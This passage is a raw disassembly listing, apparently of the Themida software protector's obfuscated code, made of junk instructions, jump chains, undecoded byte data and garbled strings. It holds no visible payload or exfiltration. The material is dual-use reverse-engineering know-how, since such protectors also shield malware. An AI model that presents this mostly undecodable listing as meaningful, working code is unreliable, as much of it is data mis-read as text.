2C8BE829h, 1FE95224h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556087: ; CODE XREF: Themida_:005662D8j add al, bl add al, 8Eh push ecx mov ch, 59h add al, ch pop ecx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub bl, al pop eax push 513Dh mov [esp], ebx push ecx mov ch, al jmp loc_557122 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFCC07h, 42474FFh, 83240C8Bh, 48F04C4h, 7685C24h dd 0E900005Ch, 97A1h ; --------------------------------------------------------------------------- loc_5560D4: ; CODE XREF: Themida_:005647EFj pop edi inc ebp shl ebp, 3 push eax push ebx mov ebx, 29847D18h sub ebx, 20DC1036h mov eax, ebx mov ebx, [esp] add esp, 4 jmp loc_5634A6 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFEE45E9h, 0FFC301FFh, 83582434h, 0E3C104C4h, 0B0E95708h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_556113: ; CODE XREF: Themida_:0056626Cj inc edi xor edi, 9A5D79ECh add ecx, edi pop edi xor ebp, ecx xor ecx, ebp xor ebp, ecx jmp loc_559767 ; --------------------------------------------------------------------------- loc_556128: ; CODE XREF: Themida_:0055BC05j push dword ptr [esp+4] jmp loc_5645FD ; --------------------------------------------------------------------------- loc_556131: ; CODE XREF: Themida_:005566EAj mov ebp, 3A0F4584h or ebp, 583A6AA5h jmp loc_566542 ; --------------------------------------------------------------------------- db 59h, 68h, 0E0h dd 89000015h, 71BE2434h, 0E9596377h, 27F6h, 5404EC83h dd 8324048Fh, 0C8904ECh, 4B924h, 4C010000h, 34FF0424h dd 0E9515924h, 0FFFFEC4Fh, 5E6AB850h, 0F7E97C83h, 0BB0000F0h dd 451048Eh, 0DBD7E9h, 0C1816600h, 81662B2Fh, 0E9D1F9E9h dd 0D0A7h, 0AF7D6125h, 8EF8E96Bh, 0B8500000h, 3E5945DBh dd 5158C289h, 0F66F9B9h, 9DE98123h, 812E522Dh, 0B8200AE1h dd 0D9F18159h, 560C7B4Dh, 860374BEh, 16C68129h, 0C1240079h dd 814E05E6h, 7FD0DAF6h, 5EF131ECh, 6F16E9h db 0 ; --------------------------------------------------------------------------- loc_5561E1: ; CODE XREF: Themida_:005574AAj pop esi jmp loc_55BAEB ; --------------------------------------------------------------------------- db 5Fh dd 8FA7EA81h, 0D031D826h, 3E0FE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5561F6: ; CODE XREF: Themida_:005554CDj add dl, al add dl, 15h pop eax jmp loc_560EAC ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0E0h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556207: ; CODE XREF: Themida_:00556077j sub ebp, 0A6223A8Eh xor eax, ebp pop ebp not eax add eax, 0E4A20CF4h mov edx, eax pop eax jmp loc_567169 ; --------------------------------------------------------------------------- db 8Bh dd 0E9812424h, 2DE15EE2h, 1282E9h, 2414F700h, 70DBE9h dd 1C5F2100h, 56241C8Bh, 0BA52E689h, 13E7D1Fh, 7D1BF281h dd 0D601013Eh, 4C6835Ah, 5C243487h, 0FFCA6AE9h, 5FFA31FFh dd 0E95AD589h, 1862h ; --------------------------------------------------------------------------- loc_556264: ; CODE XREF: Themida_:0056197Aj mov ecx, 68E4C61h shr ecx, 7 xor ecx, 37DBDBDDh add ebp, 242A07DCh add ebp, ecx jmp loc_5562D1 ; --------------------------------------------------------------------------- loc_55627F: ; CODE XREF: Themida_:00556A62j mov edx, ebp jmp loc_555AF5 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC81240Ch, 4, 2EC7E9h, 4C38100h, 0E9000000h, 0B532h dd 4EC81h, 1C890000h, 0E9E38924h, 7B04h ; --------------------------------------------------------------------------- loc_5562B0: ; CODE XREF: Themida_:00564402j pop ebp sub edx, 37D14436h push ebp mov ebp, 25C97623h xor ebp, 4DA0016Ah jmp loc_55807C ; --------------------------------------------------------------------------- loc_5562C8: ; CODE XREF: Themida_:0055F456j sub ecx, edi pop edi push ebp jmp loc_55C8EF ; --------------------------------------------------------------------------- loc_5562D1: ; CODE XREF: Themida_:0055627Aj sub ebp, 242A07DCh pop ecx add ecx, ebp mov ebp, [esp] jmp loc_5543F4 ; --------------------------------------------------------------------------- dw 0C231h dd 0FFC9DAE9h, 0A8E281FFh, 81561D35h, 0F51E4AEAh, 8CC28150h dd 295B5C6Dh, 0FB015AD3h, 7F42B850h, 0C3015A6Ch, 2434FF58h dd 8B54515Fh, 0C483240Ch, 4C18104h, 56000000h, 4BEh, 5EF10100h dd 5C240C87h, 2B850h, 0C3010000h, 8124048Bh, 4C4h, 241C3300h dd 33241C31h, 248B241Ch, 0C8B6624h, 0D320E924h, 0C8BFFFFh dd 4C48324h, 8104C483h, 9852FEC3h, 91B85029h, 35091034h dd 280A77CEh, 90C5E9h, 81C33100h, 0B92ECFF3h, 5BD83161h dd 0FF66C331h, 0C941E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556382: ; CODE XREF: Themida_:0055B6A5j mov [esp], edx mov edx, 4 add esi, 0FD9303Ch add esi, edx sub esi, 0FD9303Ch pop edx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] xor edi, 219727A6h mov edx, edi push dword ptr [esp] jmp loc_553AC1 ; --------------------------------------------------------------------------- db 40h dd 2D03E0C1h, 579C5EEFh, 541BBA52h, 0E2C10C54h, 81DAF703h dd 0C12467E2h, 81D2F763h, 446068CAh, 0D4EA813Ah, 5AFE3ADh dd 759B1CB1h, 0A49DE9h db 0 ; --------------------------------------------------------------------------- loc_5563ED: ; CODE XREF: Themida_:0055AEE7j add ebp, 4 sub ebp, 2 xchg ebp, [esp] mov esp, [esp] mov [esp], dx mov dl, 1Eh jmp loc_55945B ; --------------------------------------------------------------------------- loc_556407: ; CODE XREF: Themida_:00558E3Bj and edx, 1D315D4Dh and edx, 3BFD7663h sub edx, 879798E1h xor ebp, edx push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 0CAFE2B1h add ebp, ecx pop ecx add edx, ebp mov ebp, [esp] jmp loc_561089 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 50h aF6d@s db '╦f6D@Ищ;',0 align 2 a0Su db '0ЙИ·,',0 db 0 ; --------------------------------------------------------------------------- loc_556451: ; CODE XREF: Themida_:00563B57j pop edx add edx, 4 jmp loc_55857A ; --------------------------------------------------------------------------- loc_55645D: ; CODE XREF: Themida_:005656ACj add esi, 6FBA5065h add esi, ebx jmp loc_5600BC ; --------------------------------------------------------------------------- dw 48Bh aSS_4 db '$Имs',0 align 2 loc_556472: ; CODE XREF: Themida_:00554387j add edi, 556804A6h push eax mov eax, 26D00B5Ch or edi, eax pop eax jmp loc_558AE6 ; --------------------------------------------------------------------------- aRst db 'RИ▓"',0 align 4 loc_55648C: ; CODE XREF: Themida_:00565A6Cj mov ah, 6Bh sub ah, 0A4h shl ah, 6 neg ah push ebx mov bl, 0E7h add ah, bl jmp loc_557660 ; --------------------------------------------------------------------------- dd 8904EC83h, 0C568242Ch, 5D679210h, 0C8BDE9h, 8BFD0100h dd 0C483243Ch, 669C6804h, 3C890000h, 0B2F7E924h, 0ED810000h dd 38586BBAh, 242C8758h, 0E924248Bh, 0FFFFDE1Dh ; --------------------------------------------------------------------------- loc_5564D8: ; CODE XREF: Themida_:00567503j pop eax add esp, 4 jmp loc_560CB8 ; --------------------------------------------------------------------------- loc_5564E4: ; CODE XREF: Themida_:0055F268j sub [esp], dh jmp loc_55CB3C ; --------------------------------------------------------------------------- dd 0BE56D7F7h, 16E66165h, 0B3E94E46h, 8900001Ah, 3EBCE9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556502: ; CODE XREF: Themida_:0055AA93j pop edx sub esp, 4 mov [esp], ebx mov ebx, 4 add edx, ebx pop ebx push ebp mov ebp, 4 add edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp add esp, 4 push dword ptr [edi+eax*4] push 2Ah mov [esp], ebx push ecx jmp loc_55AF13 ; --------------------------------------------------------------------------- byte_55653B db 0FFh ; DATA XREF: Themida_:00552B64o dd 669D1C77h, 14D36659h, 78E99C24h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55654B: ; CODE XREF: Themida_:0055CA57j add esp, 4 jmp loc_5531C5 ; --------------------------------------------------------------------------- loc_556556: ; CODE XREF: Themida_:005626CFj push esp mov ebx, [esp] add esp, 4 add ebx, 4 push 4491h mov [esp], edi mov edi, 11B200B0h jmp loc_553B88 ; --------------------------------------------------------------------------- aS_8 db '^И&╥',0 align 2 dw 0E281h dd 2A360470h, 12AFF281h, 0E2D10735h, 0A9B5EA81h, 90E9F6C5h db 13h, 1, 0 ; --------------------------------------------------------------------------- loc_556597: ; CODE XREF: Themida_:00566476j pop dword ptr [esp] jmp loc_5620ED ; --------------------------------------------------------------------------- loc_55659F: ; CODE XREF: Themida_:00554D0Cj sub [esp], esi pop esi shl esi, 2 not esi add esi, 230ACE1h xor eax, esi pop esi push dword ptr [esp] pop ecx add esp, 4 push 7CF5h mov [esp], ebx sub esp, 4 mov [esp], edx push 200000h jmp loc_55BF44 ; --------------------------------------------------------------------------- loc_5565D3: ; CODE XREF: Themida_:005650F0j push dword ptr [esp] pop edx add esp, 4 jmp loc_553C67 ; --------------------------------------------------------------------------- dw 8159h dd 0B452D0CDh, 0A0F58156h, 13AF776h, 0E9815DE9h, 7E556746h dd 0CFFE9h, 0E1E95000h, 0BF000058h, 2AE84D8Bh, 571DBD55h dd 0ED8164FEh, 2DBB4094h, 0F75DEF01h, 0EFC14FDFh, 78EF8108h dd 29CFB382h, 0BB535FFAh, 4F226619h, 0E7E9DA21h, 0C000010Ch dd 0ED8005E5h, 86DFE9F9h, 0C4830000h, 0B2AEE904h, 49680000h dd 89000027h, 21E9241Ch db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556653: ; CODE XREF: Themida_:0055FC45j push ebx push ecx jmp loc_55FAD0 ; --------------------------------------------------------------------------- loc_55665A: ; CODE XREF: Themida_:0055487Cj mov esi, 3FB66EFBh sub esi, 571F7A0Ah add esi, 33730DB2h shl esi, 8 add esi, 1 push ebp mov ebp, 4769C9C7h xor esi, ebp jmp loc_554D06 ; --------------------------------------------------------------------------- dw 0C1BFh dd 812A4451h, 4451C5F7h, 0E9F9292Ah, 80BDh, 1049C281h dd 34FF7BC4h, 0D35DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55669E: ; CODE XREF: Themida_:0056440Aj add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] not esi push 576Bh mov [esp], eax push 205Ch mov [esp], esi pop eax push dword ptr [esp] mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55F595 ; --------------------------------------------------------------------------- loc_5566DD: ; CODE XREF: Themida_:0055336Ej push eax mov eax, esp push edx sub esp, 4 mov [esp], ebp jmp loc_556131 ; --------------------------------------------------------------------------- db 53h dd 0CBFE8CB3h, 0C001C380h, 0EBC006EBh, 54F38007h, 2C5BDD88h dd 53E800A7h, 3703E9h, 8BCB0100h, 25E9240Ch, 560000F2h dd 0EEF9F2BEh, 0E9F23110h, 0FFFFEAB4h, 5502C583h, 42474FFh dd 1024CE9h db 0 ; --------------------------------------------------------------------------- loc_556731: ; CODE XREF: Themida_:00556A6Ej shl eax, 7 push ecx mov ecx, 0B6BEC9F8h sub eax, 69856736h add eax, ecx add eax, 69856736h mov ecx, [esp] add esp, 4 sub ecx, eax mov eax, [esp] add esp, 4 push edi mov edi, 13927B53h neg edi xor edi, 91669E20h sub ecx, edi pop edi add ecx, 23B0479Dh and ecx, 1AD23857h jmp loc_55B299 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 9C6Bh, 2434895Ch, 0F308E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55678E: ; CODE XREF: Themida_:00559AB9j pop eax jmp loc_55CD37 ; --------------------------------------------------------------------------- dd 0D324248Bh, 0E99C2404h, 0FFFFC523h, 4C481h, 0E5810000h dd 3E5A50ADh, 8108E5C1h, 0FFFFFFC5h, 0BF574DFFh, 21A44116h dd 0B424E9h, 24148B00h, 0C004C483h, 0B15103EFh, 0C0C1FE9Bh dd 0E1C008E1h, 80D9F603h, 0CF282CF1h, 0F62C59h, 23E952F8h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5567E7: ; CODE XREF: Themida_:0055CD07j add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55CE35 ; --------------------------------------------------------------------------- loc_5567F9: ; CODE XREF: Themida_:005648B4j mov eax, esp add eax, 4 jmp loc_55569D ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0ADh dd 31FFFFF3h, 5361E9EFh, 0BB530000h, 4CE721D7h, 7461E381h dd 0F381693Eh, 8F6AA39Ch, 3EF8E981h, 0D9011F54h, 3EF8C181h dd 815B1F54h, 842034C6h, 232E901h, 0CB810001h, 4E72522Fh dd 0F381DBF7h, 40B7FBB6h, 0E95BDA01h, 0FFFFF7CDh, 74445BB8h dd 58C60156h, 0C681D6F7h, 0B5DC31CAh, 295EF701h, 243C8BF8h dd 8B04C483h, 89502414h, 9832E9E0h, 0C3000000h, 66A9C380h dd 0A775E952h, 295D0000h, 105EE9C2h, 0F7680001h, 89000052h dd 5B54241Ch, 81E18951h, 4C1h, 0D5BD5500h, 0E919F333h dd 8C4Eh dword_5568AC dd 240C8B66h, 652E68h, 242C8900h, 0C581E589h, 4, 57B368h ; DATA XREF: Themida_:00552AB0o dd 63A7E900h, 0C330000h, 240C3124h, 0E9240C33h, 3C95h dd 34FFDE09h, 0C4835B24h, 8EEC104h, 0D1685657h, 8B602524h dd 0C4832434h, 0A9BF5704h, 214EE849h, 0F6815FFEh, 6EB066D5h dd 0D31E9h, 5FF90100h, 5C240C87h, 3EC3E9h, 29E95700h db 40h, 2 dup(0) byte_556917 db 64h ; DATA XREF: Themida_:005529E8o dd 0A4E932FFh, 0FFFFFFC3h, 515A2434h, 0C181E189h, 4, 4C181h dd 9EE90000h, 0BA0000B7h, 787F15C6h, 131AE281h, 0EA812EBAh dd 7ACD62C9h, 8306E2C1h, 2C8904ECh, 13F9BD24h, 0EA813E75h dd 4E3A78CCh, 0C281EA29h, 4E3A78CCh, 6EAC15Dh, 81E78957h dd 4C7h, 4CE95100h, 810000A5h, 5E2282CEh, 0E9AAE93Bh, 0FB87FFFFh dd 0A3C9E9h db 0 ; --------------------------------------------------------------------------- loc_556989: ; CODE XREF: Themida_:00562CBAj mov edx, 28h sub edx, 6466622h jmp loc_55C6C8 ; --------------------------------------------------------------------------- db 0B8h, 0F2h, 8Ch dd 0C389FA0Bh, 2147E9h, 4EC8100h, 0E9000000h, 605Bh, 0FB4CF3BBh dd 93C38105h, 0C1531820h, 0C38102E3h, 9BB249ECh, 835BDE01h dd 348704C6h, 0CE95C24h, 5CFFFFE5h, 0E9240C89h, 219Eh dd 4EC81h, 2C890000h, 24348124h, 5A6E0732h, 32F18159h dd 895A6E07h, 0D3E959CAh, 510000C7h, 60D56852h, 148B78D1h dd 4C48324h, 0C2814242h, 7EC10479h, 5732E956h, 0D9000000h dd 0F4B4505Bh, 8058E130h, 506691C1h, 0E100A5B4h, 0B7535866h dd 5BF80034h, 342CC800h, 0FF2434FFh, 27E92434h, 520000D5h dd 55E7E9h db 0 byte_556A45 db 64h, 66h, 0Fh ; DATA XREF: Themida_:00552B5Co dd 0A9E902B6h, 0E9000063h, 0FFFFC26Fh, 8B241433h, 4DE92424h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A5F: ; CODE XREF: Themida_:0055430Fj mov ebp, ecx pop ecx jmp loc_55627F ; --------------------------------------------------------------------------- loc_556A67: ; CODE XREF: Themida_:0055D3F9j pop ecx neg eax neg eax not eax jmp loc_556731 ; --------------------------------------------------------------------------- loc_556A73: ; CODE XREF: Themida_:0055D965j add esp, 4 sub esp, 4 mov [esp], ecx push edi mov edi, 7780248Bh jmp loc_5670F4 ; --------------------------------------------------------------------------- aMsts db '╛ИTИ',0 ; DATA XREF: Themida_:00552A84o align 10h a1Sjn db '1хИJ█',0 dw 3100h dd 2434FFE8h, 3023685Dh, 1C890000h, 81E38924h, 4C3h, 4BD5500h dd 1000000h, 2F8E9EBh, 0BF570001h, 354A4D10h, 0F06B61BAh dd 5FFA2959h, 689168h, 242C8900h, 2F4E0BBDh, 5DEA091Bh dd 0C107EAC1h, 0EA8105EAh, 1, 2414F752h, 0BF57425Ah, 0D8B6C53h dd 5205EFC1h, 0E32C88BAh, 9CEA813Fh, 52563409h, 0B2A8E9h db 0 ; --------------------------------------------------------------------------- loc_556B05: ; CODE XREF: Themida_:0055F76Fj mov ebx, 0B95DE341h sub esi, ebx pop ebx mov ecx, esi pop esi jmp loc_563BCE ; --------------------------------------------------------------------------- aIH5c db '\┴,$h5C',0 align 2 dw 1C89h dd 242C8B24h, 4C481h, 5B550000h, 0DABAE9h db 0 ; --------------------------------------------------------------------------- loc_556B31: ; CODE XREF: Themida_:005671B7j add edi, 34949745h jmp loc_56784A ; --------------------------------------------------------------------------- loc_556B3C: ; CODE XREF: Themida_:0055EA5Cj sub edx, esi pop esi add edx, ebx add edx, 5AF85666h push dword ptr [edx] pop ecx pop edx mov ebx, [esp] add esp, 4 jmp loc_55CEBB ; --------------------------------------------------------------------------- dw 8759h dd 895C2404h, 56BE2434h, 1735156h, 8789E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556B6A: ; CODE XREF: Themida_:00560505j mov eax, 2B9A07BCh mov ebp, 2BCF413Eh xor ebp, eax pop eax push ebp xor dword ptr [esp], 4E1E372Dh pop eax xor eax, 4E1E372Dh mov ebp, [esp] jmp loc_553496 ; --------------------------------------------------------------------------- db 5Ah, 5Dh, 4Ah dd 0FFE12AE9h db 0FFh ; --------------------------------------------------------------------------- loc_556B95: ; CODE XREF: Themida_:005542D8j xor edx, 2B4A2BE6h xor edx, 14AE6C41h or edx, 2A9354C9h jmp loc_55A0CE ; --------------------------------------------------------------------------- aYsn db 'YИnЙ',0 align 2 dw 0D6F7h dd 81DEF746h, 0BE025AE6h, 0BB535754h, 3F307A24h, 0FDA646BFh dd 0E9DF01C4h, 0D6D1h, 1066E181h, 0F74933AAh, 2E1C1D1h dd 5E71E981h, 0CA29A44Eh, 86C68159h, 12B6607h, 86EE81D6h dd 0E92B6607h, 0FFFFF31Dh ; --------------------------------------------------------------------------- loc_556BF8: ; CODE XREF: Themida_:00553C93j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or ebx, ebx jnz loc_55823A push edx push ecx mov ecx, esp jmp loc_5559D9 ; --------------------------------------------------------------------------- byte_556C1B db 0ACh ; DATA XREF: Themida_:00552A64o dd 19C5E9h db 0 ; --------------------------------------------------------------------------- loc_556C21: ; CODE XREF: Themida_:0055DCDEj push edi push 273A50FFh pop edi not edi sub edi, 8C3F9B69h mov esi, edi pop edi xor esi, 717522D5h jmp loc_5599A5 ; --------------------------------------------------------------------------- loc_556C3E: ; CODE XREF: Themida_:0055AC34j mov [esp], esp add dword ptr [esp], 4 pop ebp push ebx mov ebx, 751A30DAh xor ebx, 6FCC2FD7h sub esp, 4 mov [esp], ebx not dword ptr [esp] pop ebx push eax sub esp, 4 mov [esp], esi push 31533B89h pop esi mov eax, esi pop esi push 0 sub [esp], eax pop eax or eax, 65B93229h add eax, 1B1B5FB7h or ebx, eax pop eax push ecx mov ecx, 1006090Eh jmp loc_5605D5 ; --------------------------------------------------------------------------- db 1 dd 0FF505EF0h, 0E9042474h, 375Dh, 4C281h, 0EA830000h, 24148704h dd 8924248Bh, 10E9241Ch, 81FFFFCBh, 1F69DBEDh, 0F2DFE975h dd 34890000h, 0DA09E924h, 8868FFFFh, 0E970C1CFh, 0F2FAh dd 0C181F101h, 2670746Dh, 0A8A4E9h db 0 ; --------------------------------------------------------------------------- loc_556CE1: ; CODE XREF: Themida_:0055E319j add ecx, 64AA44E4h push ebp jmp loc_5645F3 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 8904EC83h, 6368240Ch, 593B1606h, 4244481h, 15806180h dd 4244C29h, 4246C81h, 15806180h, 0E9505A59h, 0FFFFEC15h dd 3A80685Ch, 1C890000h, 1C8B5424h, 4C48324h, 73685657h dd 5E46221Ah, 8102E6C1h, 642271EEh, 5EF789EFh, 0CEF78147h dd 8142926Ah, 0B62D96F7h, 0B4EB816Bh, 0E9529754h, 0FD38h dd 5D5768h, 2EF7E900h, 0EEC10000h, 69F68107h, 81192AE8h dd 6E0B1AEBh, 81F30119h, 6E0B1AC3h, 76E95E19h, 83FFFFC9h dd 75E904C4h, 4AFFFFC5h, 0E5E9h, 244C3100h, 1C8B5904h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 230C7FC9h dec esi shr esi, 8 inc esi sub esi, 230C7Ch add ebp, esi mov esi, [esp] add esp, 4 push 7655h mov [esp], ebx mov ebx, 4 jmp loc_563F7D ; --------------------------------------------------------------------------- aNs_0 db 'NИ╫`',0 dd offset dword_5B5800 dd 2434FFEBh, 8B2434FFh, 0A2E9240Ch, 81FFFFF9h, 4C4h, 0F7AE900h dd 8B660000h, 0C4832414h, 0C0B60F02h, 0E987048Fh, 0D2A5h ; --------------------------------------------------------------------------- loc_556DF4: ; CODE XREF: Themida_:00564329j shl edi, 4 neg edi xor edi, 0D19F0B7Bh sub eax, edi jmp loc_55756E ; --------------------------------------------------------------------------- dw 95Eh dd 0C2E91C57h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556E0F: ; CODE XREF: Themida_:00553547j add esi, edx pop edx sub esp, 4 mov [esp], ecx jmp loc_5621A7 ; --------------------------------------------------------------------------- dd 0E1E9C801h, 81000026h, 0F6397DEFh, 0C7815E48h, 5E32158Ch dd 0EF81D729h, 5E32158Ch, 0D93BE9h, 240C8B00h, 0E20AE9h dd 0C4815A00h, 4, 0D6E95545h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E57: ; CODE XREF: Themida_:0055F015j xor edx, [esp] jmp loc_55CC34 ; --------------------------------------------------------------------------- db 0BEh dd 6F100D0Fh, 348BF129h, 2869E924h, 0E2810000h, 6BE46765h dd 2523F281h, 0D331544Ch, 0F381435Ah, 62BD1F89h, 1C8BDE31h dd 4C48124h, 9000000h, 24348BF7h, 8104C483h, 965F03EFh dd 0BD555367h, 253A4358h, 45E9EB89h, 8100007Ah, 2B1E9BF7h dd 856BE94Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_556EB6: ; CODE XREF: Themida_:005610FAj mov ch, 0B8h sub ch, bh pop ebx jmp loc_5673B4 ; --------------------------------------------------------------------------- dword_556EC0 dd 0D9B353ACh, 0C3FED3F6h, 5066D3F6h, 0C32014B0h, 0C3FE5866h ; DATA XREF: Themida_:00552A88o dd 282CEB80h, 84045BD8h, 101AFE9h, 48F5A00h, 0C3815C24h dd 47FA2CEFh, 0EB81C329h, 47FA2CEFh, 38C1C381h, 0E3E976FAh db 0F3h, 2 dup(0FFh) byte_556EFF db 0FFh ; DATA XREF: Themida_:00552B24o a4Xh db '4$Xh,{',0 align 4 dd 54243C89h, 5F2434FFh, 4C481h, 68500000h, 3929h, 10265E9h dd 245C2900h, 2434FF04h, 83241C8Bh, 65E904C4h, 51000097h dd 0FFC2D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_556F39: ; CODE XREF: Themida_:00562675j add eax, 2FE14623h sub eax, 0A5C18B8Eh mov edi, eax pop eax and ebx, edi pop edi add ebx, 0FEF31DE6h jmp loc_565E43 ; --------------------------------------------------------------------------- loc_556F54: ; CODE XREF: Themida_:00559073j mov ecx, 15D7F3Dh shr ecx, 3 sub ecx, 7ADF7979h dec ecx push ebp mov ebp, 42DD0252h jmp loc_561972 ; --------------------------------------------------------------------------- loc_556F6E: ; CODE XREF: Themida_:0055F70Aj pop ebx add ecx, 14094467h add ecx, eax sub ecx, 14094467h jmp loc_55D0EE ; --------------------------------------------------------------------------- loc_556F82: ; CODE XREF: Themida_:00566F4Ej mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5588E1 ; --------------------------------------------------------------------------- dd 4C481h, 1D680000h, 0E900003Dh, 9DC4h, 2B78BF57h, 45E9029Eh dd 5700000Dh, 656E7ABFh, 56E7D10Fh, 854F35BEh, 0D5F68106h dd 0F7062513h, 76EE81DEh, 0E9C16A80h, 0B2CFh, 2817B652h dd 24148BF3h, 93BBE9h db 0 ; --------------------------------------------------------------------------- loc_556FD9: ; CODE XREF: Themida_:00558A11j xor ecx, 37103C4Bh jmp loc_5669FB ; --------------------------------------------------------------------------- loc_556FE4: ; CODE XREF: Themida_:0056315Dj mov esp, [esp] mov [esp], esi jmp loc_55F73E ; --------------------------------------------------------------------------- loc_556FEF: ; CODE XREF: Themida_:0055E04Ej mov ebx, 4 jmp loc_55C8C9 ; --------------------------------------------------------------------------- loc_556FF9: ; CODE XREF: Themida_:00561113j mov esi, 1CF234C4h and esi, 715C1537h jmp loc_56358D ; --------------------------------------------------------------------------- db 80h, 0E4h, 19h dd 80A9CC80h, 0F480FFECh, 58E33034h, 352BE9h db 0 ; --------------------------------------------------------------------------- loc_55701D: ; CODE XREF: Themida_:005650DBj push 69A1h mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_55B6A1 ; --------------------------------------------------------------------------- db 53h, 0BBh, 44h dd 0F70C7D2Ch, 0DFF381DBh, 29198B96h, 0AC86E9D9h, 0F2810000h dd 0D4E46FC2h, 0B91FE9h, 240C3300h, 33240C31h, 0F75C240Ch dd 4EC81F1h, 89000000h, 0E9542434h, 1079Bh ; --------------------------------------------------------------------------- loc_557070: ; CODE XREF: Themida_:0055E8E2j sub edx, 3E763971h add edx, eax add edx, 3E763971h push 3C25h mov [esp], eax push edx mov edx, 1DFF0C9Eh shl edx, 6 inc edx shr edx, 8 shr edx, 3 neg edx sub edx, 0C796CAE5h mov eax, edx pop edx jmp loc_55C599 ; --------------------------------------------------------------------------- loc_5570A6: ; CODE XREF: Themida_:00558F00j sub ecx, edi jmp loc_5657CE ; --------------------------------------------------------------------------- db 1, 0C3h, 81h dd 6B6015C3h, 1C335847h, 241C3124h, 0E9241C33h, 0FFFFD0F7h dd 5A3BC380h, 0B6EB805Ah, 0E950C328h, 4EB8h ; --------------------------------------------------------------------------- loc_5570D4: ; CODE XREF: Themida_:005675FDj pop edi add edi, 4 push ebx jmp loc_55D8C8 ; --------------------------------------------------------------------------- db 68h, 82h, 1Dh dd 45E90000h, 81FFFFE9h, 4C4h, 0B9685700h, 89000004h, 0CFE92424h dd 87FFFFEBh, 815C241Ch, 255EAEEAh, 0E9DA014Eh, 0ADAh ; --------------------------------------------------------------------------- loc_557110: ; CODE XREF: Themida_:00560F84j xor eax, 0AB5AF9E4h jmp loc_564D7D ; --------------------------------------------------------------------------- dw 2C87h dd 0CAE7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557122: ; CODE XREF: Themida_:005560B2j push eax sub esp, 4 mov [esp], ebx mov bl, ch mov al, bl pop ebx sub esp, 4 mov [esp], edx mov dl, al mov bl, dl jmp loc_562C9E ; --------------------------------------------------------------------------- dword_557140 dd 0DBB53ADh, 5150F533h, 0EA77FDB9h, 59C80176h, 0FD2DD801h ; DATA XREF: Themida_:00552B30o dd 0FF76EA77h, 1C8B2434h, 4C48324h, 3FBAE9h, 0EABD5500h dd 213B835Ah, 242C8BEBh, 5204C483h, 5A0068h, 0D3315A0Bh dd 5A2434FFh, 0E904C483h, 0FFFFBB3Bh, 242C895Ch, 631F6852h dd 148B5E7Eh, 4C48124h, 81000000h, 0FFFFFFC2h, 5B97E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5571A6: ; CODE XREF: Themida_:005615EDj push ecx jmp loc_563963 ; --------------------------------------------------------------------------- dd 0E95FF931h, 5B96h ; --------------------------------------------------------------------------- loc_5571B4: ; CODE XREF: Themida_:0056574Cj or edx, 75A406FBh sub edx, 0FFFFFFFFh neg edx jmp loc_5631FF ; --------------------------------------------------------------------------- loc_5571C4: ; CODE XREF: Themida_:00559728j sub ecx, 4056825h pop edx and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jz loc_563748 push dword ptr [edi+1Ch] push 4037h mov [esp], eax mov eax, 68590B8Ch xor [esp+4], eax pop eax jmp loc_560437 ; --------------------------------------------------------------------------- loc_5571F5: ; CODE XREF: Themida_:0055AD89j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ebp mov ebp, esp jmp loc_554881 ; --------------------------------------------------------------------------- db 89h dd 4BA2414h, 53000000h, 0F41F00BBh, 5CBA525Bh, 2910EF16h dd 0EF815AD7h, 61160FF6h, 81E9DF29h, 0BA000048h, 38935938h dd 392FB951h, 0F1812C1Fh, 7A5D1F05h, 0C8BCA31h, 0E6895624h dd 4C681h, 0EC810000h, 4, 7394E9h, 0BE5600h, 0E9000000h dd 4646h ; --------------------------------------------------------------------------- loc_557260: ; CODE XREF: Themida_:0055E462j sub ebx, 36F958DFh xor [ebx], ecx mov ebx, [esp] jmp loc_55AF35 ; --------------------------------------------------------------------------- loc_557270: ; CODE XREF: Themida_:0055EBD1j pop edx xor eax, ecx pop ecx push eax mov eax, 71D12331h jmp loc_56119E ; --------------------------------------------------------------------------- loc_55727F: ; CODE XREF: Themida_:0055B0A1j pop edi xor edx, edi xor edi, edx xor edx, edi xor eax, edx xor edx, eax xor 